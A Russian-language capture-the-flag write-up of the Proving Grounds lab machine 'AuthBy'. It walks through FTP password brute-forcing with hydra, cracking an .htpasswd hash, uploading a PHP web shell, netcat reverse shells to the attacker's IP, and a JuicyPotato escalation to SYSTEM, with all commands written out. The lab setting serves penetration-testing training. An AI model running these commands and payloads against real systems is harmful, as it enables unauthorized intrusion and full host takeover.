Перейти к основному содержимому
  1. Posts/

ProvingGrounds - AuthBy

Write-Up Windows ProvingGrounds Nmap Ftp Apache Hydra Hashcat John Potato
breach.zone
Автор
breach.zone
Оглавление

NMAP
#

Начинаем с быстрого сканирования доступных портов на машине:

nmap -v -Pn -T4 -p- 192.168.177.46
NMAP quick scan
NMAP quick scan

Получив список портов повторяем скан, но уже более детально:

nmap -v -Pn -A -p 21,242,3145,3389 192.168.177.46
NMAP detailed scan
NMAP detailed scan

В глаза сразу бросаются 2 вещи FTP сервер, который позволяет залониться без пароля и что на 242 порту висит веб сервер с поддержкой PHP. Когда я вижу такую комбинацию, я сразу начинаю думать о том, а что если по FTP загрузить shell, а потом как-то выполнить его через сайт. Но не будем забегать вперед, давайте двигаться по порядку.

FTP
#

Давайте изучим содержимое FTP сервера более детально.

FTP
FTP

Что мы тут видим? Мы можем скачать логи и попытаться найти в них какую либо полезную информацию. А также мы сразу видим имена 3-х пользователей, которые могут быть валидными FTP пользователями или системными.

Запишем в заметки эти логины:

Offsec
anonymous
admin

Забегая вперед, скачанные логи оказались бесполезными, поэтому двигаемся дальше к перебору пароля для найденых учеток.

Brute force FTP
#

Зная логины мы можем попробовать совершить перебор паролей по словарю. Для эти целей воспользуемся утилитой hydra.

Пользователь admin звучит многообещающе, давайте сразу с него и начнем.

hydra -l admin -P /usr/share/wordlists/rockyou.txt -e nsr -f ftp://192.168.68.46
FTP login:password found
FTP login:password found

Как правило на тренажерах подобного уровня, пароли для брута ставят специально очень слабые, потому что нет цели, чтобы вы переберали пароль несколько суток.

FTP login as admin
#

Так как у нас теперь есть первая учетка с паролем, то нужно попробовать залогиниться на FTP c ней.

ftp ftp://admin:[email protected]
FTP login as admin
FTP login as admin

После захода на FTP обнаруживаем 3 файла относящиеся к вебу и Apache для авторизации пользователя. Давайте сразу их скачаем для дальнейшего исследования.

.htpasswd and .htaccess
.htpasswd and .htaccess

Когда мы находим, где либо какой то хеш от пароля, да еще и с логином, мы обязательно должны попробовать его взломать.

Crack the hash
#

На выбор предлагаю две утилиты.

hashcat
#

hashcat -m 1600 -a 0 '$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0' /usr/share/wordlists/rockyou.txt
Cracking hash with Hashcat
Cracking hash with Hashcat

john
#

john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt
Cracking hash with John
Cracking hash with John

В итоге мы получаем еще одну пару логин:пароль и на данный момент имеем:

FTP admin:admin
WEB offsec:elite

Как видите пароли очень простые, как я уже говорил - это делается специально, потому что нет задачи вас мучить долгим перебором.

File uploads
#

Перед тем, как двигаться дальше, давайте проверим послений момент касательно FTP, а именно можем ли мы загружать файлы под учеткой admin:admin, так как судя по содержимому .htaccess web server и ftp server смотрят в одну директорию. Если это так, то мы можем загрузить reverse shell по FTP и затем из браузера выполнить его.

FTP file upload
FTP file upload

Отлично! Мы можем загружать файлы под пользователем admin.

WEB
#

Теперь давайте попробуем залогиниться в вебе по порту 242 с учеткой offsec:elite.

Login
#

Отроем в браузере http://192.168.177.46:242 и введем offsec:elite.

WEB login
WEB login

После логина видим содержимое index.php, которые мы видили ранее.

index.php
index.php

И пытаемся получить содержимое файла users.txt, который мы загружали ранее для проверки возможности загрузки файлов по FTP c учеткой admin:admin.

users.txt
users.txt

Reverse shell
#

Заливаем простейший php файл c именем cmd.php, который позволит нам запускать команды на сервере.

<?php system($_GET['cmd']); ?>
Uploading cmd.php
Uploading cmd.php

Пробуем вызвать команду whoami из браузера, http://192.168.177.46:242/cmd.php?cmd=whoami

whoami
whoami

Отлично! Мы находимся в одном шаге до получения revershe shell от пользователя livda\apache.

Далее есть множество вариантов, какой revershe shell использовать. Давайте пойдем по самому простому и быстрому пути.

Скачиваем скомпилированные бинари netcat от сюда

Есть два варианты под 32-х и 64-х битные архитектуры Windows. В нашем случае нам нужна 32-х битная версия.

Сначала на нашей систему запускаем netcat на прослушивание порта.

nc -nvl -p 4444

Далее загружаем по FTP файл nc.exe и запускаем его из браузера с помощью cmd.php.

http://192.168.177.46:242/cmd.php?cmd="nc.exe 192.168.45.234 4444 -e cmd.exe"

Reverse shell using netcat
Reverse shell using netcat

Мы внутри! Теперь у нас есть reverse shell на машину и осталось сделать последнюю часть - это повысить привелегии. Но перед эти давайте заберем первый флаг который находится в C:\Users\apache\Desktop\local.txt.

Flag 1
Flag 1

Privileges escalation
#

Давайте проверим какими привелегиями обладает пользователь apache.

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\wamp\www>whoami /priv
whoami /priv
SeImpersonatePrivilege
SeImpersonatePrivilege

Как видно пользователь apache имеет привелегию SeImpersonatePrivilege, что дает возможность провести атаку из семейства potato. Немного подробностей и ссылки на различные эксплоиты можно найти здесь.

Давайте сразу подготовим новый netcat listener на нашей машине.

nc -nvl -p 1337

Далее воспользуемся этим эксплоитом

Как и до этого загружаем Juicy.Potato.x86.exe на машину с помощью FTP и в уже имеющемся шелле запускаем команду.

NOTE: Далее мой IP и IP машины будут новые, так как мне пришлось переподключаться к VPN и перезапускать целевой хост.
.\Juicy.Potato.x86.exe -l 1337 -t * -p "c:\windows\system32\cmd.exe" -a "/c C:\wamp\www\nc.exe -e cmd.exe 192.168.45.228 1337" -c "{3c6859ce-230b-48a4-be6c-932c0c202048}"

Где "{3c6859ce-230b-48a4-be6c-932c0c202048}" - это CLSID взятый от сюда для версии операционной системы на целевой машине.

После выполнения команды мы получим во второй консоли, где ранее был запущен netcat на порту 1337 шел с максимальными привелегиями.

Exploit
Exploit

И теперь в новом шеле мы NT AUTHORITY\SYSTEM:

NT AUTHORITY\SYSTEM shell
NT AUTHORITY\SYSTEM shell

Ну и заберем финальный флаг.

Admin flag
admin flag

Conclusion
#

Давайте еще раз кратко пробежимся по тому, что мы сделали:

  • С помощью nmap мы нашли FTP сервер который пускает без пароля.
  • Нашли файлы в именах которых содержались логины пользователей.
  • Провели перебор пароля по словарю для найденых пользователей и FTP и нашли пароль от пользователя admin.
  • Подключившись под пользователем admin и нашли файлы .htpasswd и .htaccess.
  • Взломали хеш от пароля для пользователя offsec, который хранился в .htpasswd.
  • Далее смогли авторизоваться в вебе на порту 242 под пользователем offsec.
  • Поняли, что веб сервер и фтп сервер смотрят в одну директорию при логине под пользователем admin. А значит мы получили возможность загрузить php шелл и выполнить его.
  • С помощью php и nc.exe получили reverse shell от пользователя apache.
  • Выяснили, что пользователь apache имеет привелегию SeImpersonatePrivilege, а значит можно провести атаку Juciy Potato.
  • Выполнив exploit получили новый шел, но уже с правами NT AUTHORITY\SYSTEM.

Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!